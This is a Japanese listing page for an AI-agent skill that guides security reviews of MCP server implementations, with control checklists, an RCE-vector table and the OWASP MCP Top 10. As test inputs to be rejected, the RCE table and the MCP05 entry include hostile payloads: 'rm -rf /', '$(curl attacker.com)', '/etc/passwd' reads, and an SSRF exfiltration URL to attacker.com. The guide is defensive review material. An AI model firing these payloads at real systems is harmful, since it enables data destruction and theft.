mcpField
M
mcp-implementation-security-review

mcp-implementation-security-review

github.com/githubセキュリティ40.5k50 回インストール今日更新
リポジトリ

mcp-implementation-security-review について

MCP 実装のセキュリティレビューを支援するスキルです。クライアントとサーバー、トランスポート、プロトコルの状態を分類し、制御策、コード実行、OWASP MCP のリスクを確認します。

主な機能

  1. 01クライアントとサーバーの分類
  2. 02トランスポートとプロトコルバージョンの確認
  3. 03基本制御のレビュー
  4. 047 種類の RCE リスク評価
  5. 05OWASP MCP リスク評価
  6. 06証拠に基づくレポート

活用シーン

  1. 01MCP サーバーのセキュリティ状況のレビュー
  2. 02ローカルおよびネットワーク公開トランスポートの評価
  3. 03MCP ツール入力による実行リスクの監査
  4. 04証拠付きの指摘レポートの作成

MCP 対応

MCP クライアントとサーバーのレビュー手順を提供し、プロトコルバージョン、トランスポート、サーバー制御、RCE ベクトル、OWASP MCP リスクを扱います。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/github/awesome-copilot --skill mcp-implementation-security-review

インストール後、Claude Code で/mcp-implementation-security-reviewを入力して読み込まれたか確認します。

詳細

MCP 実装のセキュリティレビュー

プロセス

ステップ 1 — 対象を分類する
  • MCP プロトコルバージョン 2025-03-26 以降(現在のバージョン:2025-11-25)かどうかを確認します。古いバージョンは指摘事項として報告しますが、レビューは続けてください。
  • 対象がサーバーかクライアントかを判定します。
  • 以下のトランスポートの参照情報を使用して、トランスポートをネットワーク公開またはローカル専用に分類します。
  • トランスポート、プロトコルバージョン、セッションの有無を記録します。

完了基準: 対象の種類、プロトコルの状態、トランスポートが特定されていること。

ステップ 2 — 誤検知を除外する
  • 指摘事項を挙げる前に、誤検知フィルターを適用します。
  • リポジトリ独自のサーバーの動作、デプロイ、トランスポート、または認証の状況を説明するドキュメントのみを対象にします。
  • フレームワーク/SDK のリポジトリでは、指摘事項の対象をデフォルト設定と公開 API サーフェスに限定します。

完了基準: 残った証拠が対象範囲内のコード、リポジトリ独自のドキュメント、または公開 API の動作であること。

ステップ 3 — 基本的な制御を確認する
  • ネットワーク公開サーバーでは、MCP-01 から MCP-05 を確認します。
  • ローカル/STDIO サーバーでは、基本的な制御を合格/不合格と判定せず、ベストプラクティスに関する注意事項を示したうえで、RCE のレビューを続けます。
  • クライアントでは、クライアントコードで明示的に確認できるトークン/セッション処理のみをレビューします。ユーザーからクライアント側リスクのレビューを依頼されていない限り、サーバーの基本的な制御は適用しません。

完了基準: 該当する各制御について、根拠のあるステータスが付与されていること。

ステップ 4 — RCE の攻撃経路を確認する
  • 7 つの RCE 攻撃経路をすべて確認します。
  • 各攻撃経路を安全、リスクあり、または該当なしと判定します。
  • 推測より直接的な証拠を優先します。確認すべきパターンは、以下の RCE 攻撃経路の表に列挙されています。

完了基準: 関連するすべてのツールについて、RCE の結果または明示的な該当なしの判定があること。

ステップ 5 — OWASP MCP Top 10 を確認する
  • 以下に示す OWASP のリスクを 10 項目すべて評価します。
  • ステップ 3 の制御で OWASP のリスクがすでに完全に網羅されている場合は、再確認せず、その結果を参照します。
  • ローカル/STDIO サーバーでは、ネットワークに依存する OWASP のリスク(MCP07、MCP09)を該当なしとします。
  • 各リスクを合格、不合格、または調査が必要と判定します。

完了基準: OWASP のリスク 10 項目すべてについて、観察可能な証拠に基づく結果が示されているか、ステップ 3 の結果が参照されていること。

ステップ 6 — 報告する
  • 以下のコンプライアンス出力形式を使用します。
  • すべての根拠説明にファイル/行番号を記載します。
  • コードに関する指摘と、手動での追加確認事項を分けます。
  • 証拠が不十分な場合は、調査が必要とし、不足している成果物を明記します。

完了基準: レポートに制御、RCE、任意の OWASP 評価、および対応事項が含まれていること。

参照情報

判定ルール
  • ネットワーク公開サーバー: 5 つの制御をすべて適用し、その後 RCE と依頼された OWASP の確認を実施します。
  • ローカル/STDIO サーバー: 5 つの制御についてはベストプラクティスの指針のみを示します。ただし、ツール入力はローカルで実行される可能性があるため、RCE の確認は実施します。
  • クライアント: 受信したトークンの処理と、サーバーから提供されたセッション ID を信頼しないことを確認します。依頼がない限り、サーバー向けの制御を適用しません。
  • リバースプロキシまたはコンテナーを介した公開: ネットワーク経由でサーバーにトラフィックが到達できる場合、内部のバインド先が localhost であってもネットワーク公開として扱います。
  • 証拠が不明確な場合: 推測しないでください。調査が必要とし、手動で確認すべき事項を明記します。
  • 認証の適用範囲が曖昧な場合: 認証ミドルウェアが存在するものの、MCP エンドポイントにも適用されるか不明な場合は、調査が必要とします。
  • トランスポートを特定できない場合: コードからトランスポートを特定できなければ、手動レビューが必要であることを報告し、STDIO と推定しないでください。STDIO をデフォルトとすると、サーバーの制御を誤って省略することになります。
トランスポートの分類

ネットワークに公開される場合(すべての制御を適用):

パターントランスポート
transport="http" または transport="sse"HTTP/SSE
StreamableHttpServerTransportHTTP(TS/JS)
SSEServerTransportSSE(TS/JS)
WithHttpTransport()HTTP(C#)
host="0.0.0.0"すべてのインターフェースにバインド
MCP ルートを含む Express の .listen(port)HTTP(デフォルトは 0.0.0.0)
Dockerfile の EXPOSE と MCP サーバーの組み合わせネットワークに公開

ローカル専用(ベストプラクティスのみ):

パターントランスポート
StdioServerTransportSTDIO(TS/JS)
WithStdioServerTransport()STDIO(C#)
transport="stdio"STDIO
引数なしの mcp.run()(Python FastMCP)デフォルトは STDIO
command キーがあり、URL がない .vscode/mcp.jsonSTDIO の子プロセス

ホストバインドに関する注意点:

バインド実際の公開範囲
host="0.0.0.0"🔴 ネットワークに公開
host="127.0.0.1" または localhost🟢 ローカル専用
ホストの明示指定なし(Express/Node)🔴 デフォルトで 0.0.0.0 にバインド
ホストの明示指定なし(Python FastMCP)🟡 トランスポートによって異なるため、確認してください
Docker の ports: "8000:8000"🔴 コンテナ内のプロセスが 127.0.0.1 にバインドしていてもネットワークに公開
誤検知の除外条件
誤検知パターン検出方法
.github/skills/ のテンプレートパスに .github/skills/ が含まれる場合。サーバーコードではなく、スキルのテンプレートです
ベンダー提供の SDK/OSS のコピーファイルが class FastMCP、class McpServer を定義している場合、またはパスが node_modules/、vendor/ 内にある場合
MCP クライアントの設定.vscode/mcp.json に inputs/servers があるものの、サーバーコードがない場合
ドキュメント/チュートリアル.md、.rst 内のコードフェンスが、リポジトリ独自のサーバーに関係しない場合
アウトバウンド専用の認証ライブラリDefaultAzureCredential、サービスアカウント JSON などが、アウトバウンド認証のみに使用されている場合

リポジトリ独自のサーバーの動作、トランスポート、認証態勢、デプロイについて説明するドキュメントは、誤検知ではありません。

制御項目のリファレンス

MCP-01 — ID の分離

対象範囲: リモート MCP サーバー

条件

  • すべての受信リクエストを信頼できる ID プロバイダーで認証し、サーバー境界で認可を適用してください。セッション ID、以前のリクエスト、ネットワーク上の位置から認証状態を推測してはなりません。
  • サーバーごとに固有のアプリケーション ID とオーディエンス/リソース識別子を使用してください。アウトバウンド呼び出しでは、必要に応じて独立したスコープのサービス資格情報またはオンビハーフオブフローを使用し、受信トークンを使用してはなりません。
  • 認証なしのディスカバリーエンドポイントを許可できるのは、メタデータのみを扱う OAuth/MCP のブートストラップに限られます:/.well-known/oauth-protected-resource、/.well-known/oauth-authorization-server、/.well-known/openid-configuration。

確認項目

  • トークン検証と認可のミドルウェアが、すべての MCP ルートで実行されていること。該当する場合、認可でツールの実行、読み取り専用、管理者向け操作を区別していること。
  • ID 設定に専用のアプリケーション/クライアント/リソース ID とオーディエンスが示されていること。アウトバウンドクライアントが独自のトークンを取得し、受信した Authorization を決してコピーしていないこと。
  • ディスカバリーエンドポイントがメタデータのみを返し、ツールを実行したり保護対象データを公開したりできないこと。

主な落とし穴: アプリケーション ID の共有や呼び出し元トークンの転送は、ID の分離を損ない、混乱した代理人となる経路を生み出します。

MCP-02 — セッション

対象範囲: セッションをサポートするリモート MCP サーバー

適用性

  • セッション識別子がどこでも発行も使用もされていない場合 → N/A とします(リクエストごとの認証は引き続き必要です。MCP-01 を参照してください)。
  • セッションがトランスポート/SDK によって管理されており(例:Streamable HTTP Mcp-Session-Id)、生成やバインドの方法がソースコードから確認できない場合 → FAIL ではなく NEEDS INVESTIGATION とします。
  • セッション識別子がコードに存在する場合 → 以下の条件に基づいて PASS/FAIL を判定します。

条件

  • すべてのリクエストを認証および認可します。セッション状態がトークン検証に代わることはありません。
  • セッション ID は不透明な相関/継続性トークンに限ります。権限を付与したり、認可情報を含めたり、認証を回避したりしてはなりません。
  • セッション ID は CSPRNG で生成され、予測不能で、認証済みコンテキストにバインドされており、URL に埋め込まれていません。

確認項目

  • ミドルウェアは、セッション開始時だけでなく、リクエストごとにトークンを検証します。
  • 認可ロジックはセッション ID のみを信頼しません。セッション ID の紛失や再利用によってアクセスが許可されてはなりません。
  • セッションの作成にはランダム ID を使用します(GUID v4/CSPRNG は許容されますが、連番 ID や時刻ベースの ID は使用できません)。

主な落とし穴: セッション ID をベアラー認証情報として扱うと、相関トークンが認証情報になってしまいます。

MCP-03 — レート制限

対象範囲: MCP サーバーとツール

条件

  • ツールの検出と呼び出しにレート制限と不正利用対策を適用します。
  • 制限はゲートウェイだけでなく、MCP サーバーのランタイムで適用します。認証済み ID ごと、およびセッションが存在する場合はセッションごとに分けます。
  • 変更可能なツールやコストの高いツールには、より厳しい制限を適用します。制限を超えた場合は HTTP 429 と Retry-After を返してフェイルクローズし、ツールを実行しません。

確認項目

  • 受信側やプロキシの設定だけでなく、サーバーコード内の検出および呼び出しエンドポイントに、レート制限ミドルウェアまたは同等の仕組みが実装されています。
  • 制限は ID ごと、およびセッションごとに設定され、書き込み操作/コストの高い操作には、より厳しい上限が設定されています。
  • 制限を超えたリクエストはバックエンド処理の前に停止され、Retry-After とともに 429 が返されます。

初期しきい値(実際の負荷、下流側の制限、コストに応じて調整してください):

ツールの種類ID ごとセッションごと備考
読み取り専用/一覧表示100/min200/min下流 API の影響が大きい場合は引き下げます
変更/書き込み10/min20/min状態を変更する操作には、より厳しく設定します
高コストな計算5/min10/minコストに応じて設定し、クラウドの支出を監視します
ツールの検出30/min60/min列挙を悪用した攻撃を防ぎます

主な落とし穴: ゲートウェイだけでのスロットリングや、単一の一律な制限では、回避の余地が生まれ、高コストなツールの保護が不十分になります。

MCP-04 — スキーマ検証

対象範囲: 構造化引数を受け取るツールを公開する MCP サーバー

条件

  • すべてのツール引数を、実行前に明示的なスキーマに照らして検証します。
  • スキーマでは型、必須フィールド、列挙値、範囲を定義し、指定されていないプロパティはデフォルトで拒否します(additionalProperties: false または同等の設定)。
  • 検証は呼び出しごとにサーバー側で実行します。無効な入力はフェイルクローズし、400/MCP エラーを返して、バックエンド処理を実行しません。

確認項目

  • 各ツール記述子には、型、必須フィールド、列挙値、範囲、プロパティの制限を網羅するスキーマがあります。
  • 検証はクライアント、ゲートウェイ、下流サービスだけでなく、呼び出しごとにサーバー境界で実行されます。
  • 異常な入力、余分なプロパティ、範囲違反を拒否する負のテストがあります。

主な落とし穴: 余分なプロパティを許可したり、クライアント側だけで検証したりすると、隠れた攻撃対象領域が生まれ、対象範囲が意図せず広がります。

MCP-05 — SDK 優先

対象範囲: リモート MCP サーバー

条件

  • サーバーの言語に対応する 公式 MCP SDK を使用してリモート MCP サーバーを構築します。
    • ティア 1(完全サポート): TypeScript (modelcontextprotocol/typescript-sdk)、Python (modelcontextprotocol/python-sdk)、C#/.NET (modelcontextprotocol/csharp-sdk)、Go (modelcontextprotocol/go-sdk)
    • ティア 2/3(開発中): Java (modelcontextprotocol/java-sdk)、Kotlin (modelcontextprotocol/kotlin-sdk)、Rust (modelcontextprotocol/rust-sdk)、Swift (modelcontextprotocol/swift-sdk)、PHP (modelcontextprotocol/php-sdk)、Ruby (modelcontextprotocol/ruby-sdk)
  • 公式 SDK を使用しない場合は、MCP-05 を NEEDS INVESTIGATION としてマークします。
  • SDK を最新の状態に保ち、パッチを適用し、自動で適用される制御と手動で適用する制御を確認します。

確認項目

  • 依存関係で、手作業で構築した HTTP/SSE スタックではなく、公式 MCP SDK を参照していること。
  • SDK を使用していない場合、リポジトリに認証/認可、セッション、レート制限、スキーマ検証を示す直接的な証拠があること。
  • 依存関係のバージョン固定と更新の管理状況から、SDK が保守されていることがわかること。

主な落とし穴: 手作業で構築したサーバーでは、リクエストごとの認証、スロットリング、検証といった「小さな」プリミティブがひとつ抜けがちで、その抜けが積み重なります。

RCE ベクトル

ベクトル危険なコード安全な代替手段テスト用ペイロードCWE
コマンドインジェクションexec("convert " + args.filename)、os.system(f"process {user_input}")、Process.Start("cmd", "/c " + toolArg)execFile("convert", [args.filename])、subprocess.run(["process", user_input], shell=False); rm -rf /、$(curl attacker.com)、`net user` は拒否するか、文字列としてそのまま扱う必要があります
動的コード評価eval(args.expression)、exec(tool_output)、new Function(args.code)()サンドボックス化されたパーサー、AST ベースの評価、または事前定義された許可リスト__import__('os').system('whoami')、require('child_process').exec('id') は拒否する必要がありますCWE-94, CWE-95
安全でないデシリアライズpickle.loads(user_data)、yaml.load(input, Loader=yaml.UnsafeLoader)、BinaryFormatter.Deserialize(stream)yaml.safe_load()、スキーマ検証を組み合わせた JSON.parse()。信頼できない入力にはバイナリ形式を使用しないでください細工されたシリアライズ済みペイロードは拒否するか、安全に処理する必要がありますCWE-502
パストラバーサル検証せずに使用する fs.readFile(args.path)、open(user_path, 'w')読み込み/書き込み/実行の前に正規化し、許可リストに登録されたベースディレクトリ内に制限します../../../../etc/passwd、C:\Windows\System32\config\SAM、..\..\..\.env は拒否する必要がありますCWE-22
SSTITemplate(user_input).render()、Handlebars.compile(args.template)({data})ユーザー入力をテンプレートソースとして使用しないでください。パラメーターのみを使用する事前定義済みテンプレートを使います{{7*7}}、${7*7}、<%= 7*7 %> は 49 としてレンダリングされないようにする必要がありますCWE-1336
依存関係の乗っ取り"lodash": "^4.0.0" のようなバージョン未固定の依存関係、公開レジストリから解決できる内部パッケージ名バージョンを正確に固定し、整合性ハッシュ付きのロックファイルを維持し、信頼できる/スコープ付きのレジストリを使用し、利用可能な場合は署名を検証しますnpm audit、pip audit、または dotnet list package --vulnerable を実行し、CVE と不審なパッケージを確認しますCWE-829
SSRFrequests.get(user_param)、fetch(user_input)、HttpClient.GetAsync(user_input)スキーム/ドメインを許可リストで制限し、RFC1918 およびリンクローカルの宛先をブロックし、送信前に URL を検証しますhttp://169.254.169.254/latest/meta-data/、http://localhost:8080/admin、http://attacker.com/?data=stolen は拒否する必要がありますCWE-918

OWASP MCP Top 10

MCP01:2025 — トークン管理の不備とシークレットの漏えい テスト:ハードコードされたシークレットやトークンのログ出力を検索します。シークレットが環境変数またはシークレットマネージャーから取得されていること、トークンの有効期間が短く、ローテーションされていることを確認します。 合格:シークレットがハードコードされておらず、機密フィールドがマスキングされ、有効期間の短いトークンがローテーションされています。不合格:シークレットがハードコードされている、トークンがログに出力されている、またはローテーションされない長期間有効なトークンが使われています。

MCP02:2025 — スコープの拡大による権限昇格 テスト:スコープ/ロールを確認し、最小権限とリクエストごとの認可を確認します。正当な理由がないワイルドカード付きの管理者スコープを拒否し、実行時の機能拡張がないか確認します。 合格:最小権限のスコープが設定され、リクエストごとの認可が行われ、実行時の機能拡張がありません。不合格:広範なスコープ、一度限りの認証のみ、または自己昇格するツールが存在します。

MCP03:2025 — ツールのポイズニング テスト:ツール定義が静的でサーバーが管理しているか、ツールがメタデータを変更できるか、出力にLLMが解析可能な指示が含まれているかを確認します。 合格:定義は静的でサーバーが管理しており、出力はデータのみです。不合格:外部のメタデータソースを使用している、または出力に埋め込みの指示が含まれています。

MCP04:2025 — サプライチェーン攻撃と依存関係の改ざん テスト:ロックファイル、バージョンの厳密な固定、不審なpostinstallスクリプト、依存関係の監査結果、信頼できるレジストリを確認します。 合格:依存関係が固定され、ロックファイルがコミットされ、既知の脆弱性や不審なポストインストールスクリプトがありません。不合格:依存関係が固定されていない、ロックファイルがない、未修正のCVEがある、または信頼できないレジストリを使用しています。

MCP05:2025 — コマンドインジェクションと実行 テスト:シェル実行APIと文字列から構築されたコマンドを検索します。ツールの入力がシェル実行に到達するかを追跡し、; ls、$(whoami)、| cat /etc/passwdを試します。 合格:信頼できない入力によるシェル実行がないか、パラメーター化された許可リスト方式の実行のみを使用しています。不合格:ユーザー入力がシェルコマンドに渡される、書式指定文字列とともにshell=Trueが使われる、または安全でない文字列連結が行われています。

MCP06:2025 — コンテキストペイロードによるプロンプトインジェクション テスト:ツールの出力がLLMに返されるか、外部コンテンツがサニタイズ/切り詰め/サンドボックス化されているか、連鎖したツール呼び出しにガードが設けられているかを確認します。指示を含む敵対的な出力を試します。 合格:ツールの出力はデータとして扱われ、信頼できないコンテンツはサニタイズ/切り詰め/サンドボックス化され、ツール呼び出しの連鎖にはガードレールがあります。不合格:外部コンテンツが未加工のままモデルに返され、ツール呼び出しの連鎖に制限がありません。

MCP07:2025 — 認証と認可の不備 テスト:認証なし、期限切れのトークン、無効なトークンでリクエストを送信します。ツールごとの認可を確認し、認証がゲートウェイだけでなくサーバーでも適用されていることを確認します。 合格:すべてのエンドポイントで有効な認証が必須で、ツールごとの認可があり、サーバー側で適用されています。不合格:認証なしでアクセスできる箇所がある、ツールごとの認証がない、またはゲートウェイでしか認証が適用されていません。

MCP08:2025 — 監査とテレメトリーの欠如 テスト:ツールを呼び出し、ログに呼び出し元のID、ツール名、タイムスタンプが記録されることを確認します。エラーを発生させて有用なコンテキストが記録されることを確認し、ログの一元管理とアラートを確認します。 合格:ツールの呼び出しがIDとともに記録され、ログが一元管理され、アラートがあります。不合格:ログがない、呼び出し元のIDがない、ログがローカルのみに保存される、またはアラートがありません。

MCP09:2025 — シャドーMCPサーバー テスト:サーバーがサービスインベントリに登録されていることを確認します。文書化されていないMCPエンドポイントや公開された非標準ポートがないか調べ、開発環境/ステージング環境が分離されていることを確認し、所有者とレビュー履歴を確認します。 合格:すべてのサーバーがインベントリに登録され、適切に分離され、所有者が明確です。不合格:文書化されていないサーバー、開発/テスト環境が本番ネットワークに公開されている、または所有者がいません。

MCP10:2025 — コンテキストインジェクションと過剰共有 テスト:ツールの応答でデータが最小化されているか調べます。必要な情報が一部だけなのにPIIやオブジェクト全体が返されていないか確認し、コンテキストが分離されていることを確認します。 合格:必要最小限のデータが返され、機密フィールドがマスキングまたは除外され、コンテキストが分離されています。不合格:不要なオブジェクト全体が返される、PIIが漏えいする、またはユーザー間でコンテキストが共有されています。

コンプライアンス出力形式

以下の各サマリーテーブルでは、Justification セルに、ステータスを裏付ける具体的なファイル/行の証拠を記載してください。

コントロールのサマリー
コントロール名前ステータス根拠
MCP-01認証とアイデンティティの分離✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A…
MCP-02セキュアなセッション管理……
MCP-03レート制限と不正利用対策……
MCP-04入力スキーマの検証……
MCP-05本番環境での SDK の使用……

コントロールをコードが明確に満たしている場合に限り、PASS を使用してください。違反が確認できる場合は FAIL を使用してください。準拠状況の判断に、デプロイ設定、アイデンティティプロバイダーの状態、ログ、またはソースからは確認できないその他の証拠が必要な場合は、NEEDS INVESTIGATION を使用してください。

RCE のサマリー
ベクターステータス根拠
コマンドインジェクションSAFE / AT RISK / N/A…
動的コード評価……
安全でないデシリアライズ……
パストラバーサル……
SSTI……
依存関係のハイジャック……
SSRF……
OWASP のサマリー
リスクステータス根拠
MCP01:2025✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION…
MCP02:2025……
MCP03:2025……
MCP04:2025……
MCP05:2025……
MCP06:2025……
MCP07:2025……
MCP08:2025……
MCP09:2025……
MCP10:2025……
手動での追加確認

ソースコードだけでは完全に判断できなかった確認事項をすべて列挙し、検証に必要な成果物やアクセス権を明記してください。

例外プロセス

  • ギャップを記録する: 未達のコントロール、具体的な逸脱内容、残存リスク、および補完的なコントロールを特定します。
  • 明示的な承認を得る: 責任者と有効期限またはレビュー日を定めたうえで、例外をセキュリティ/リリース承認プロセスに回します。
  • 追跡して再評価する: 承認された例外をコンプライアンス結果とともに記録し、有効期限の到来時、またはサーバー、ツール、トラフィックプロファイル、公開範囲に変更があった際に再評価します。

コメント